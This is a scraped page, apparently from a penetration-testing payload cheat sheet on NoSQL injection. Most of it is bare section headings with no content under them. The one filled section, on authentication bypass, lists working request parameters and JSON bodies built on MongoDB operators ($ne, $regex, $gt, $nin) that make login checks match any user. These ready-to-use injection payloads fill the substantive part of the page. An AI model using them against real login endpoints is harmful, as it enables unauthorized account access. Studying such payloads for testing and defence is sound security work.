NoSQL Injection
NoSQL injection
Introduction
How to Exploit
Authentication Bypass
in the request
- username[$ne]=toto&password[$ne]=toto
- login[$regex]=a.*&pass[$ne]=lol
- login[$gt]=admin&login[$lt]=test&pass[$ne]=1
- login[$nin][]=admin&login[$nin][]=test&pass[$ne]=totoThe output is
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}Extract length information
Extract data information
Extract data with "in"
PHP Arbitrary Function Execution
Blind NoSQL
POST
GET
MongoDB Payloads
Tools
References
Last updated